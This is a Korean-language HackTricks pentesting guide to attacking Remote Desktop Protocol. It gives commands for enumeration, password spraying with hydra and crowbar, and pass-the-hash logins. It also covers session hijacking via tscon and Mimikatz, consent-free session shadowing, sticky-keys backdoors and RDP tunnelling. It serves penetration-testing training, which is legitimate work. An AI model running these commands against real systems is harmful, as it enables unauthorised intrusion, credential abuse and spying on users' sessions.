3389 - Pentesting RDP
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.
Basic Information
Microsoft에서 개발한 Remote Desktop Protocol (RDP)는 네트워크를 통해 컴퓨터 간 그래픽 인터페이스 연결을 가능하게 하도록 설계되었습니다. 이러한 연결을 설정하려면 사용자가 RDP 클라이언트 소프트웨어를 사용해야 하며, 원격 컴퓨터는 동시에 RDP 서버 소프트웨어를 실행해야 합니다. 이 구성은 원격 컴퓨터의 데스크톱 환경을 원활하게 제어하고 액세스할 수 있게 하며, 사실상 해당 인터페이스를 사용자의 로컬 장치로 가져옵니다.
기본 포트: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
열거
자동
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
사용 가능한 암호화와 DoS 취약성(서비스에 DoS를 유발하지 않음)을 검사하고 NTLM Windows 정보(버전)를 획득합니다.
보안 계층 / NLA 검사
RDP는 서로 다른 보안 계층 (native RDP, TLS, 또는 CredSSP/NLA)을 협상할 수 있습니다. 서버 측 설정과 NLA 필요 여부를 빠르게 식별할 수 있습니다:
# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>
# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>
# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot
# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot
Brute force
주의: 계정이 잠길 수 있습니다
Password Spraying
주의: 계정이 잠길 수 있습니다
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
알려진 credentials/hash로 연결
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
RDP 서비스에 대해 알려진 credentials 확인
impacket의 rdp_check.py로 일부 credentials가 RDP 서비스에서 유효한지 확인할 수 있습니다:
rdp_check <domain>/<name>:<password>@<IP>
공격
Session stealing
SYSTEM permissions이 있으면 소유자의 비밀번호를 알 필요 없이 opened RDP session by any user에 접근할 수 있습니다.
열린 세션 가져오기:
query user
선택한 세션에 대한 접근
tscon <ID> /dest:<SESSIONNAME>
이제 선택한 RDP 세션에 접속하게 되며 Windows 도구와 기능만 사용해 사용자를 가장하게 됩니다.
Important: 활성 RDP 세션에 접속하면 해당 세션을 사용 중이던 사용자가 강제 로그오프됩니다.
프로세스를 덤프해서 비밀번호를 얻을 수도 있지만, 이 방법은 훨씬 빠르며 사용자의 가상 데스크톱과 상호작용할 수 있게 해줍니다(디스크에 저장되지 않은 notepad의 비밀번호, 다른 머신에서 열려 있는 다른 RDP 세션 등…).
Mimikatz
이 작업을 위해 Mimikatz를 사용할 수도 있습니다:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
RDP Shadowing (Remote Control)
만약 Remote Desktop Services shadowing가 활성화되어 있다면, 내장 mstsc 스위치를 사용하여 다른 사용자의 활성 세션을 보거나 제어할 수 있습니다(때때로 동의 없이).
# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>
# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
RDP Virtual Channel Tunneling
RDP는 확립된 RDP 세션을 통해 virtual channels를 악용하여 pivoting/tunneling에 이용할 수 있습니다. 한 가지 옵션은 rdp2tcp (client/server)로, RDP 위에서 TCP 포워드를 다중화할 수 있습니다(FreeRDP와 함께 작동).
# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
Sticky-keys & Utilman
이 기술을 stickykeys 또는 utilman을 이용하면 언제든지 관리자 CMD와 어떤 RDP 세션에도 접근할 수 있습니다
You can search RDPs that have been backdoored with one of these techniques already with: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
다른 도메인의 사용자나 better privileges login via RDP으로 you are an Admin인 PC에 로그인하면, 당신은 그의 RDP session process에 당신의 inject된 beacon을 주입하여 그 사람으로서 행동할 수 있습니다:
RDP 그룹에 사용자 추가
net localgroup "Remote Desktop Users" UserLoginName /add
자동 도구
AutoRDPwn은 Powershell로 작성된 post-exploitation 프레임워크로, 주로 Microsoft Windows 컴퓨터에서 Shadow 공격을 자동화하도록 설계되었다. 이 취약점(Microsoft가 기능으로 분류함)은 원격 공격자가 운영체제에 내장된 도구를 사용하여 피해자의 동의 없이 데스크톱을 볼 수 있다, 필요시 원격으로 제어할 수도 있게 한다.
-
명령줄에서 자동으로 마우스와 키보드를 제어
-
명령줄에서 자동으로 클립보드를 제어
-
클라이언트에서 SOCKS 프록시를 생성하여 RDP를 통해 타깃으로 네트워크 통신을 전달
-
파일 업로드 없이 대상에서 임의의 SHELL 및 PowerShell 명령 실행
-
대상에서 파일 전송이 비활성화되어 있어도 대상과 파일을 업로드/다운로드할 수 있음
이 도구는 피해자 RDP에서 그래픽 인터페이스를 필요로 하지 않고 명령을 실행할 수 있게 해준다.
HackTricks 자동 명령
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
참고 자료
Tip
AWS Hacking을 배우고 연습하세요:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요:HackTricks Training Azure Red Team Expert (AzRTE)
평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.
HackTricks 지원하기
- subscription plans를 확인하세요!
- 💬 Discord group, telegram group에 참여하고, X/Twitter에서 @hacktricks_live를 팔로우하거나, LinkedIn page와 YouTube channel을 확인하세요.
- HackTricks 및 HackTricks Cloud github repos에 PR을 제출해 hacking tricks를 공유하세요.


